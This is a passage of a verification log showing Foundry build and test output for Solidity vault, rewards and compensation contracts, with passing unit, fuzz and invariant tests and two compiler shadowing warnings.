testAnotherEpochAnswerCannotBePairedWithRequest() (gas: 3838272)\n[PASS] testCarryFundedEpochPaysItsOwnOracleRequest() (gas: 4453164)\n[PASS] testClaimsRemainAvailableUntilRolloverAndTransferFailureIsAtomic() (gas: 3218360)\n[PASS] testDepositRequestsCanonicalBodyAtActualArbitrumDepositBlock() (gas: 3211392)\n[PASS] testEmptyRootCanRollOver() (gas: 2918870)\n[PASS] testExpiredFutureAndTamperedAttestationsRejected() (gas: 2824268)\n[PASS] testFuzzClaimsAndRolloverConserveFunds(uint128,uint128) (runs: 256, μ: 3076175, ~: 3073764)\nLogs:\n  Bound result 1896482744686485\n  Bound result 1582317293091315\n\n[PASS] testOnlyIntakeUnknownIdAndReplayRejected() (gas: 2802547)\n[PASS] testOnlyVaultCanSetTokenOrCreateEpochsOrSpendFromSelfCall() (gas: 144484)\n[PASS] testOversizedSignedTreeCannotDrainAnotherEpoch() (gas: 4048086)\n[PASS] testRetrySponsorPaysAndEarlierRequestStillAnswersExactlyOnce() (gas: 4306652)\n[PASS] testRolloverCarryCannotBeSpentByAnOversizedCurrentTree() (gas: 4111307)\n[PASS] testRolloverMovesExactlyUnclaimedAndNextDepositSnapshotsCarry() (gas: 6469407)\n[PASS] testSmallDepositNeverSpendsPreviousEpochReserve() (gas: 2798580)\n[PASS] testSnapshotEntitlementIndependentOfCurrentBalanceAndDoubleClaimFails() (gas: 3173022)\n[PASS] testUnansweredLatestEpochCanRollAndLateCallbackCannotReviveIt() (gas: 2846204)\n[PASS] testWrongChainBlockTypeAndWeakPanelRejected() (gas: 3019157)\n[PASS] testWrongLeafAndProofCannotClaim() (gas: 2842681)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 354.52ms (466.69ms CPU time)\n\nRan 10 tests for test/CompensationVault.t.sol:CompensationVaultTest\n[PASS] testAirdropBlockedBeforeBuybackAndBadProductionProofSkips() (gas: 285160)\n[PASS] testAirdropPaysListedAccountsOnceProRataUsingFixedBalance() (gas: 2547385)\n[PASS] testEmptyBalanceDoesNotConsumeEligibilityAndBadWeightsSkip() (gas: 2277665)\n[PASS] testFixedCommitmentAndNoMutationOrWithdrawEntrypoints() (gas: 141099)\n[PASS] testFrozenBudgetIgnoresDonationsAndLeavesOnlyOriginalRoundingDust() (gas: 1792312)\n[PASS] testFuzzTranchesNeverExceedTenPercent(uint96) (runs: 256, μ: 1913585, ~: 1914093)\nLogs:\n  Bound result 4992\n\n[PASS] testPartialOrRevertedSwapRollsBackBudgetAndCooldown() (gas: 984414)\n[PASS] testThirtyMinuteBoundaryTenPercentAndTenMinuteSpacing() (gas: 2080158)\n[PASS] testUnlockCallbackAuthenticatedAndReentryCannotSpendTwice() (gas: 559876)\n[PASS] testZeroOrSubTenWeiBudgetWaitsForFeeThenCompletesAfterWindow() (gas: 241149)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 354.45ms (357.24ms CPU time)\n\nRan 7 tests for test/AdversarialLifecycle.t.sol:AdversarialOracleLifecycleTest\n[PASS] testAttestationUUIDCannotSettleTwoEpochsEvenWithTwoValidSignatures() (gas: 4339385)\n[PASS] testClaimsRejectAbsentAndUnansweredEpochsWithoutMarkingClaimed() (gas: 2935178)\n[PASS] testDeferredEpochCanBeSponsoredWithoutTouchingOtherReserves() (gas: 4555420)\n[PASS] testFuzzSignedButInvalidOracleFieldsNeverConsumePending(uint8) (runs: 1000, μ: 2917448, ~: 2916512)\nLogs:\n  Bound result 0\n\n[PASS] testOutOfOrderRolloversAndCarryOnlyEpochsPreserveEveryUnclaimedWei() (gas: 7843455)\n[PASS] testRetryFailurePreservesOriginalRequestAndSponsorFunds() (gas: 3863443)\n[PASS] testRetryUsesNewPriceButPreservesDepositBlockBudgetAndQuestion() (gas: 4147655)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 354.70ms (386.87ms CPU time)\n\nRan 8 tests for test/CompensationFailures.t.sol:CompensationFailuresTest\n[PASS] testAirdropTransferReentryCannotPayAnotherBatch() (gas: 2875171)\n[PASS] testFuzzDuplicateEntriesAndRepeatedBatchesNeverOverpay(uint96,bool) (runs: 1000, μ: 2431026, ~: 2433378)\nLogs:\n  Bound result 1\n\n[PASS] testFuzzProductionRootRejectsUnprovenClaims(address,uint128) (runs: 1000, μ: 553487, ~: 553423)\nLogs:\n  Bound result 5563259200155307529\n\n[PASS] testLaterTrancheRejectionRetainsOriginalBudgetAndCanRetryImmediately() (gas: 1147133)\n[PASS] testMalformedBatchCannotFreezeAirdropBalance() (gas: 2496693)\n[PASS] testOutputTransferRejectionDoesNotConsumeFirstBuyback() (gas: 1099075)\n[PASS] testSecondRecipientRejectionRevertsFirstPaymentAndAllFlags() (gas: 3477400)\n[PASS] testUnrepresentableV4DeltaRevertsBeforeAnyAssetMoves() (gas: 528492)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 354.66ms (665.80ms CPU time)\n\nRan 4 tests for test/MigrationClaims.t.sol:MigrationClaimsTest\n[PASS] testAll62HistoricalProofsReproduceTheProductionCommitment() (gas: 460377)\n[PASS] testAllRealBeneficiariesPaidAfterTenTranchesAcrossBatches() (gas: 7346924)\n[PASS] testCorruptedRealProofsSkipWithoutConsumingEligibility() (gas: 5745539)\n[PASS] testFuzzAll62PayoutsConserveSupplyRegardlessOfOrder(uint96,uint8) (runs: 1000, μ: 5407661, ~: 5578460)\nLogs:\n  Bound result 742\n\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 355.17ms (369.03ms CPU time)\n\nRan 1 test for test/JobsStateful.t.sol:JobsStatefulTest\n[PASS] invariantJobBudgetPaysOnlySuccessfulEligibleRequests() (runs: 256, calls: 16384, reverts: 0)\n\n╭------------------+-----------------------+-------+---------+----------╮\n| Contract         | Selector              | Calls | Reverts | Discards |\n+=======================================================================+\n| JobBudgetHandler | advance               | 3245  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | fund                  | 3261  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | request               | 3278  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | setIntakeAvailability | 3314  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | transferHolding       | 3286  | 0       | 0        |\n╰------------------+-----------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 5000000000000000000\n  Bound result 2829\n  Bound result 27794\n  Bound result 3562\n  Bound result 11779\n  Bound result 6850\n  Bound result 55\n  Bound result 8142808472088643436\n  Bound result 1056\n  Bound result 5998\n  Bound result 2976\n  Bound result 1007\n  Bound result 8336\n  Bound result 22\n  Bound result 3075\n  Bound result 9781\n  Bound result 10828\n  Bound result 467\n  Bound result 272383820\n  Bound result 865\n  Bound result 7997\n  Bound result 8073\n  Bound result 3\n  Bound result 15\n  Bound result 6578\n  Bound result 2559896971204282100\n  Bound result 6003\n  Bound result 10159\n  Bound result 95847\n  Bound result 136063138127\n  Bound result 162514264337591994963707\n  Bound result 9819\n  Bound result 142088196246489649897264\n  Bound result 3231\n  Bound result 601128535710556828648294\n  Bound result 4312\n  Bound result 10543\n  Bound result 6133\n  Bound result 11663\n  Bound result 2027\n  Bound result 507\n  Bound result 10149\n  Bound result 187592671\n  Bound result 1506\n  Bound result 41\n  Bound result 816556948285906101\n  Bound result 13459\n  Bound result 171238\n  Bound result 20480\n  Bound result 1982\n  Bound result 2365\n  Bound result 71\n  Bound result 13864\n  Bound result 7526417\n  Bound result 1153\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.42s (2.42s CPU time)\n\nRan 1 test for test/CompensationStateful.t.sol:CompensationStatefulTest\n[PASS] invariantBuybackAndAirdropConserveBothAssets() (runs: 256, calls: 16384, reverts: 0)\n\n╭-----------------------------+------------+-------+---------+----------╮\n| Contract                    | Selector   | Calls | Reverts | Discards |\n+=======================================================================+\n| CompensationSequenceHandler | advance    | 3251  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | airdrop    | 3252  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | buyback    | 3314  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | fundIMD    | 3218  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | fundTokens | 3349  | 0       | 0        |\n╰-----------------------------+------------+-------+---------+----------╯\n\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 500000000000000000000\n  Bound result 12171\n  Bound result 6712\n  Bound result 942946994\n  Bound result 522623146\n  Bound result 1184\n  Bound result 96\n  Bound result 176\n  Bound result 846\n  Bound result 9028\n  Bound result 670\n  Bound result 51\n  Bound result 12\n  Bound result 125\n  Bound result 8\n  Bound result 2835717307\n  Bound result 11\n  Bound result 468\n  Bound result 868\n  Bound result 471\n  Bound result 2065\n  Bound result 920\n  Bound result 4\n  Bound result 162514264337593543871105\n  Bound result 3983517\n  Bound result 743848210655127415586764\n  Bound result 1908\n  Bound result 337\n  Bound result 1206\n  Bound result 566\n  Bound result 30779\n  Bound result 120341927437498614430591\n  Bound result 243\n  Bound result 1276\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.97s (2.97s CPU time)\n\nRan 1 test for test/VaultInvariants.t.sol:VaultInvariantsTest\n[PASS]\nVaultInvariantsTest invariants:\n[PASS] invariantAllIMDRemainsAtAuthorizedDestinations\n[PASS] invariantBuybackNeverExceedsFrozenBudgetOrTenTranches\n[PASS] invariantEpochAccountingIsFullyBacked\n[PASS] invariantNativeAndLaunchTokensRemainAtAuthorizedDestinations\n VaultInvariantsTest invariants (runs: 256, calls: 16384, reverts: 0)\n\n╭--------------+---------------------+-------+---------+----------╮\n| Contract     | Selector            | Calls | Reverts | Discards |\n+=================================================================+\n| VaultHandler | advance             | 2021  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | attemptDistribution | 2038  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | buyback             | 2055  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | distribute          | 2054  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | receiveFees         | 2047  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | requestJob          | 2080  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | rollover            | 1999  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | settleAndClaim      | 2090  | 0       | 0        |\n╰--------------+---------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 535482\n  Bound result 5759\n  Bound result 5479106530010097259350487\n  Bound result 7478\n  Bound result 5040\n  Bound result 61\n  Bound result 1\n  Bound result 1971584624323891647329593\n  Bound result 1\n  Bound result 11578\n  Bound result 29806416288089\n  Bound result 1693\n  Bound result 45\n  Bound result 1\n  Bound result 1\n  Bound result 253\n  Bound result 5365\n  Bound result 6156\n  Bound result 7037\n  Bound result 1\n  Bound result 134\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 3395723174\n  Bound result 140371492\n  Bound result 177362149\n  Bound result 53\n  Bound result 1\n  Bound result 1\n  Bound result 11042\n  Bound result 8391\n  Bound result 2954646857\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 12326227882998887060\n  Bound result 6604093946\n  Bound result 9413565550637084864\n  Bound result 5555\n  Bound result 1\n  Bound result 6272\n  Bound result 7537125859116\n  Bound result 11413\n  Bound result 4788\n  Bound result 11254\n  Bound result 2\n  Bound result 2177969494621489624\n  Bound result 1613\n  Bound result 1369178528\n  Bound result 2509993787976341916423768\n  Bound result 2108\n  Bound result 1\n  Bound result 2\n  Bound result 2021\n  Bound result 7473\n  Bound result 2099579461372014209\n  Bound result 512\n  Bound result 7165791065746842140650196\n  Bound result 280161368\n  Bound result 2509\n  Bound result 1\n  Bound result 535479\n  Bound result 21\n  Bound result 682520\n  Bound result 2\n  Bound result 887220\n  Bound result 7370\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.98s (4.97s CPU time)\n\nRan 18 test suites in 4.98s (14.42s CPU time): 98 tests passed, 0 failed, 1 skipped (99 total tests)\n","passed":true},{"durationMs":65,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CompensationVault.airdrop(address[],uint256[],bytes32[][])\",\"CompensationVault.buyback()\",\"CompensationVault.setLaunch(address,(address,address,uint24,int24,address))\",\"CompensationVault.unlockCallback(bytes)\",\"HolderRewards.claim(uint256,uint256,bytes32[])\",\"HolderRewards.onDeposit(uint256)\",\"HolderRewards.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"HolderRewards.requestDepositedEpoch(uint256,uint256)\",\"HolderRewards.retryOracle(uint256)\",\"HolderRewards.rollover(uint256)\",\"HolderRewards.setToken(address)\",\"JobsVault.requestJob(bytes)\",\"JobsVault.setToken(address)\",\"SIMDVault.bindLaunch(uint64,address)\",\"SIMDVault.distribute()\",\"SIMDVault.launch(bytes)\",\"SIMDVault.onLaunchFailure(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"SIMDVault.onLaunchResult(bytes32,bytes32,string)\",\"SIMDVault.receive()\"],\"files\":{\".gitignore\":6,\"README.md\":122,\"docs/DEPENDENCIES.md\":15,\"docs/REVIEW.md\":33,\"docs/VERIFICATION.md\":21,\"foundry.toml\":16,\"launch.json\":10,\"remappings.txt\":4,\"src/CompensationVault.sol\":249,\"src/HolderRewards.sol\":312,\"src/JobsVault.sol\":54,\"src/Network.sol\":17,\"src/SIMDVault.sol\":172,\"src/VaultChild.sol\":33,\"src/interfaces/IIntake.sol\":34,\"src/interfaces/ILaunchFactory.sol\":12,\"src/oracle/OracleAttestation.sol\":239,\"src/oracle/OracleQuestion.sol\":258,\"test/AdversarialLifecycle.t.sol\":429,\"test/CompensationFailures.t.sol\":209,\"test/CompensationPriceBand.t.sol\":234,\"test/CompensationStateful.t.sol\":247,\"test/CompensationVault.t.sol\":233,\"test/Deployment.t.sol\":52,\"test/HolderRewards.t.sol\":370,\"test/JobsStateful.t.sol\":195,\"test/JobsVault.t.sol\":151,\"test/MigrationClaims.t.sol\":149,\"test/OracleConformance.t.sol\":96,\"test/RobinhoodFork.t.sol\":264,\"test/SIMDVault.t.sol\":251,\"test/TESTING.md\":76,\"test/TestBase.sol\":131,\"test/UniswapV4Integration.t.sol\":407,\"test/VaultInvariants.t.sol\":191,\"test/fixtures/MigrationClaims.sol\":331,\"test/fixtures/migration-evidence.json\":857,\"test/fixtures/migration-weights.json\":250,\"test/mocks/Mocks.sol\":294,\"tools/merkle.py\":145,\"tools/test_merkle.py\":36},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"018b5ab1332cd339c04f6d3688a4ca5f80929bb71b99d552d5415f84397022d3","verifiedTreeHash":"d4a94c12926cfbd3e8d96ba60a48a399e0c42024","verifierVersion":"0.1.0+560ab6a2"},{"checks":[{"durationMs":197797,"exitCode":0,"name":"build","output":"Compiling 120 files with Solc 0.8.26\nSolc 0.8.26 finished in 197.57s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:132:10:\n    |\n132 |         (uint256 paid,) = abi.decode(result, (uint256, uint256));\n    |          ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:182:9:\n    |\n182 |         uint256 paid = uint256(-int256(inputDelta));\n    |         ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n","passed":true},{"durationMs":11024,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 1.76ms (0.00ns CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] testCallbackSelectorMatchesCanonicalFifteenFieldTuple() (gas: 3673)\n[PASS] testDigestMatchesPublishedProtocolVector() (gas: 13253)\n[PASS] testPublishedProtocolSignatureVerifiesInActualConsumerBase() (gas: 75505)\n[PASS] testQuestionHashMatchesPublishedProtocolVector() (gas: 40115)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 2.03ms (1.13ms CPU time)\n\nRan 5 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testRealV4PushedPriceMovesReferenceOneStepPerIntervalAndFillsNothing() (gas: 4396016)\n[PASS] testRealV4ThinPoolTranchesStayInsidePriceBandAndBuybackEnds() (gas: 3184326)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyOne() (gas: 4315349)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyZero() (gas: 4305860)\n[PASS] testUninitializedPoolCannotBind() (gas: 229526)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 63.60ms (19.45ms CPU time)\n\nRan 1 test for test/Deployment.t.sol:DeploymentTest\n[PASS] testFactoryCreate2DeploymentOnEmptyChainLinksAllChildrenAndHasNoOwners() (gas: 29832334)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 96.27ms (96.04ms CPU time)\n\nRan 5 tests for test/CompensationPriceBand.t.sol:CompensationPriceBandTest\n[PASS] testFuzzAnyFrontRunNeverPushesTrancheOutsideEarlierBand(uint96,bool) (runs: 200, μ: 550170, ~: 531205)\nLogs:\n  Bound result 15\n\n[PASS] testLargePushWalksReferenceOneStepPerInterval() (gas: 845468)\n[PASS] testPricePushedInSameTransactionOnlyRecordsReferenceAndSpendsNothing() (gas: 452393)\n[PASS] testReferenceIsRecordedAtBindingAndBandIsSymmetric() (gas: 28895)\n[PASS] testTrancheAfterReRecordTradesOnlyInsideNewBand() (gas: 594420)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 560.36ms (556.13ms CPU time)\n\nRan 1 test for test/JobsStateful.t.sol:JobsPerWalletRuleTest\n[PASS] testFuzzHoppedBagNeverStarvesAnEligibleHolder(uint8,uint8) (runs: 256, μ: 4083097, ~: 3011064)\nLogs:\n  Bound result 1\n  Bound result 0\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 609.46ms (606.86ms CPU time)\n\nRan 10 tests for test/CompensationVault.t.sol:CompensationVaultTest\n[PASS] testAirdropBlockedBeforeBuybackAndBadProductionProofSkips() (gas: 285160)\n[PASS] testAirdropPaysListedAccountsOnceProRataUsingFixedBalance() (gas: 2526163)\n[PASS] testEmptyBalanceDoesNotConsumeEligibilityAndBadWeightsSkip() (gas: 2256443)\n[PASS] testFixedCommitmentAndNoMutationOrWithdrawEntrypoints() (gas: 141099)\n[PASS] testFrozenBudgetIgnoresDonationsAndLeavesOnlyOriginalRoundingDust() (gas: 1848572)\n[PASS] testFuzzTranchesNeverExceedTenPercent(uint96) (runs: 256, μ: 1969716, ~: 1970365)\nLogs:\n  Bound result 23165\n\n[PASS] testPartialOrRevertedSwapRollsBackBudgetAndCooldown() (gas: 721352)\n[PASS] testThirtyMinuteBoundaryTenPercentAndTenMinuteSpacing() (gas: 2136418)\n[PASS] testUnlockCallbackAuthenticatedAndReentryCannotSpendTwice() (gas: 565502)\n[PASS] testZeroOrSubTenWeiBudgetWaitsForFeeThenCompletesAfterWindow() (gas: 241149)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 624.07ms (628.76ms CPU time)\n\nRan 7 tests for test/AdversarialLifecycle.t.sol:AdversarialOracleLifecycleTest\n[PASS] testAttestationUUIDCannotSettleTwoEpochsEvenWithTwoValidSignatures() (gas: 4339385)\n[PASS] testClaimsRejectAbsentAndUnansweredEpochsWithoutMarkingClaimed() (gas: 2935178)\n[PASS] testDeferredEpochCanBeSponsoredWithoutTouchingOtherReserves() (gas: 4555420)\n[PASS] testFuzzSignedButInvalidOracleFieldsNeverConsumePending(uint8) (runs: 1000, μ: 2917312, ~: 2916512)\nLogs:\n  Bound result 0\n\n[PASS] testOutOfOrderRolloversAndCarryOnlyEpochsPreserveEveryUnclaimedWei() (gas: 7843455)\n[PASS] testRetryFailurePreservesOriginalRequestAndSponsorFunds() (gas: 3863443)\n[PASS] testRetryUsesNewPriceButPreservesDepositBlockBudgetAndQuestion() (gas: 4147655)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 656.86ms (694.61ms CPU time)\n\nRan 7 tests for test/AdversarialLifecycle.t.sol:AdversarialLaunchAndDistributionTest\n[PASS] testBurnFailureRevertsClaimSplitEpochAndCooldownTogether() (gas: 6804164)\n[PASS] testFuzzUnauthorizedLaunchAndBindingLeaveAllStateUntouched(address,uint64) (runs: 1000, μ: 199530, ~: 199525)\n[PASS] testLateChildConfigurationFailureRollsBackEarlierChildrenAndCanRetry() (gas: 1354783)\n[PASS] testLaunchBodyBoundsDoNotConsumeOneTimePermission() (gas: 3102806)\n[PASS] testMaximumUintBalanceSplitsWithoutIntermediateOverflow() (gas: 3057560)\n[PASS] testRejectedNativeRecipientKeepsEthUntilAcceptingWeek() (gas: 3406444)\n[PASS] testRoundingDustParticipatesInFollowingWeek() (gas: 1060458)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 676.69ms (672.94ms CPU time)\n\nRan 12 tests for test/SIMDVault.t.sol:SIMDVaultTest\n[PASS] testBindOnlyDevOnceAndValidatesRequesterTokenAndPool() (gas: 920837)\n[PASS] testBoundLaunchCannotBeReopenedByALateFailure() (gas: 733625)\n[PASS] testFuzzSplitConservesFundsAndDust(uint128) (runs: 256, μ: 1755137, ~: 804452)\n[PASS] testGasExhaustingFactoryAndOracleDoNotPreventSplitAndBurn() (gas: 4868535)\n[PASS] testLaunchOnlyDevOnlyOnceExactApprovalVaultPayer() (gas: 558337)\n[PASS] testNoAdminOrRequesterTransferOrArbitraryWithdrawal() (gas: 126245)\n[PASS] testReentrantFactoryAndIMDTransfersCannotDoubleDistribute() (gas: 3098677)\n[PASS] testRefusedLaunchReopensTheOneTimeCallAndOnlyIntakeForTheOwnRequest() (gas: 977243)\n[PASS] testRejectedClaimAndOracleCannotBlockDistributionOrBurn() (gas: 1686780)\n[PASS] testRejectedLaunchCanRetryAndUnsoldCannotLaunch() (gas: 825544)\n[PASS] testRejectingMarketingCodeKeepsEthWithoutBlockingSplitOrBurn() (gas: 3043056)\n[PASS] testSplitBurnFactoryNativePayoutAndWeekBoundary() (gas: 3532009)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 676.37ms (621.79ms CPU time)\n\nRan 8 tests for test/CompensationFailures.t.sol:CompensationFailuresTest\n[PASS] testAirdropTransferReentryCannotPayAnotherBatch() (gas: 2853949)\n[PASS] testFuzzDuplicateEntriesAndRepeatedBatchesNeverOverpay(uint96,bool) (runs: 1000, μ: 2409804, ~: 2412156)\nLogs:\n  Bound result 1148595863835729965491228\n\n[PASS] testFuzzProductionRootRejectsUnprovenClaims(address,uint128) (runs: 1000, μ: 553486, ~: 553423)\nLogs:\n  Bound result 5563259200155307529\n\n[PASS] testLaterTrancheRejectionRetainsOriginalBudgetAndCanRetryImmediately() (gas: 1158376)\n[PASS] testMalformedBatchCannotFreezeAirdropBalance() (gas: 2475471)\n[PASS] testOutputTransferRejectionDoesNotConsumeFirstBuyback() (gas: 1104692)\n[PASS] testSecondRecipientRejectionRevertsFirstPaymentAndAllFlags() (gas: 3456178)\n[PASS] testUnrepresentableV4DeltaRevertsBeforeAnyAssetMoves() (gas: 528492)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 676.79ms (1.30s CPU time)\n\nRan 2 tests for test/AdversarialLifecycle.t.sol:AdversarialJobsTest\n[PASS] testFuzzDecimalsThresholdOneUnitBelowAndExactlyEnough(uint8) (runs: 1000, μ: 1322152, ~: 1322120)\nLogs:\n  Bound result 2\n\n[PASS] testHoldingIsRecheckedAfterCooldownAndFailureDoesNotExtendIt() (gas: 1034851)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 676.97ms (675.23ms CPU time)\n\nRan 4 tests for test/MigrationClaims.t.sol:MigrationClaimsTest\n[PASS] testAll62HistoricalProofsReproduceTheProductionCommitment() (gas: 460377)\n[PASS] testAllRealBeneficiariesPaidAfterTenTranchesAcrossBatches() (gas: 7403184)\n[PASS] testCorruptedRealProofsSkipWithoutConsumingEligibility() (gas: 5745539)\n[PASS] testFuzzAll62PayoutsConserveSupplyRegardlessOfOrder(uint96,uint8) (runs: 1000, μ: 5410250, ~: 5578472)\nLogs:\n  Bound result 7514\n\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 677.07ms (674.10ms CPU time)\n\nRan 7 tests for test/JobsVault.t.sol:JobsVaultTest\n[PASS] testExactThresholdAndPerWalletDailyBoundary() (gas: 1207458)\n[PASS] testInvalidBodyAndUnsoldActionRejected() (gas: 663610)\n[PASS] testNoVaultWideCapStarvesAnEligibleHolder() (gas: 6122748)\n[PASS] testNoVaultWideSelectorsExist() (gas: 370363)\n[PASS] testNotConfiguredAndSetTokenOnlyVaultOnce() (gas: 384635)\n[PASS] testRejectedRequestsDontConsumeDailySlotAndReentryFails() (gas: 1228169)\n[PASS] testSixDecimalsThreshold() (gas: 1235008)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 677.30ms (10.48ms CPU time)\n\nRan 19 tests for test/HolderRewards.t.sol:HolderRewardsTest\n[PASS] testAggregateClaimsCannotExceedPot() (gas: 2937961)\n[PASS] testAnotherEpochAnswerCannotBePairedWithRequest() (gas: 3838272)\n[PASS] testCarryFundedEpochPaysItsOwnOracleRequest() (gas: 4453164)\n[PASS] testClaimsRemainAvailableUntilRolloverAndTransferFailureIsAtomic() (gas: 3218360)\n[PASS] testDepositRequestsCanonicalBodyAtActualArbitrumDepositBlock() (gas: 3211392)\n[PASS] testEmptyRootCanRollOver() (gas: 2918870)\n[PASS] testExpiredFutureAndTamperedAttestationsRejected() (gas: 2824268)\n[PASS] testFuzzClaimsAndRolloverConserveFunds(uint128,uint128) (runs: 256, μ: 3076385, ~: 3074226)\nLogs:\n  Bound result 62960376726\n  Bound result 15576039939\n\n[PASS] testOnlyIntakeUnknownIdAndReplayRejected() (gas: 2802547)\n[PASS] testOnlyVaultCanSetTokenOrCreateEpochsOrSpendFromSelfCall() (gas: 144484)\n[PASS] testOversizedSignedTreeCannotDrainAnotherEpoch() (gas: 4048086)\n[PASS] testRetrySponsorPaysAndEarlierRequestStillAnswersExactlyOnce() (gas: 4306652)\n[PASS] testRolloverCarryCannotBeSpentByAnOversizedCurrentTree() (gas: 4111307)\n[PASS] testRolloverMovesExactlyUnclaimedAndNextDepositSnapshotsCarry() (gas: 6469407)\n[PASS] testSmallDepositNeverSpendsPreviousEpochReserve() (gas: 2798580)\n[PASS] testSnapshotEntitlementIndependentOfCurrentBalanceAndDoubleClaimFails() (gas: 3173022)\n[PASS] testUnansweredLatestEpochCanRollAndLateCallbackCannotReviveIt() (gas: 2846204)\n[PASS] testWrongChainBlockTypeAndWeakPanelRejected() (gas: 3019157)\n[PASS] testWrongLeafAndProofCannotClaim() (gas: 2842681)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 677.25ms (772.27ms CPU time)\n\nRan 1 test for test/JobsStateful.t.sol:JobsStatefulTest\n[PASS] invariantJobBudgetPaysOnlySuccessfulEligibleRequests() (runs: 256, calls: 16384, reverts: 0)\n\n╭------------------+-----------------------+-------+---------+----------╮\n| Contract         | Selector              | Calls | Reverts | Discards |\n+=======================================================================+\n| JobBudgetHandler | advance               | 3245  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | fund                  | 3261  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | request               | 3278  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | setIntakeAvailability | 3314  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | transferHolding       | 3286  | 0       | 0        |\n╰------------------+-----------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 5000000000000000000\n  Bound result 11475\n  Bound result 27794\n  Bound result 3561\n  Bound result 11777\n  Bound result 6826\n  Bound result 56\n  Bound result 38068352\n  Bound result 993\n  Bound result 6008\n  Bound result 2976\n  Bound result 100000\n  Bound result 9368\n  Bound result 24\n  Bound result 286619239\n  Bound result 9823\n  Bound result 10829\n  Bound result 467\n  Bound result 9831\n  Bound result 863\n  Bound result 7998\n  Bound result 8073\n  Bound result 3\n  Bound result 15\n  Bound result 6559\n  Bound result 2559896971204282100\n  Bound result 6003\n  Bound result 10161\n  Bound result 95847\n  Bound result 136063138127\n  Bound result 162514264337592801742431\n  Bound result 272383822\n  Bound result 142088196246489515506714\n  Bound result 3361\n  Bound result 696647206426149154896836\n  Bound result 783817414\n  Bound result 10613\n  Bound result 5892\n  Bound result 11379\n  Bound result 2027\n  Bound result 1007\n  Bound result 2866384322264050566\n  Bound result 339487282\n  Bound result 1485\n  Bound result 43\n  Bound 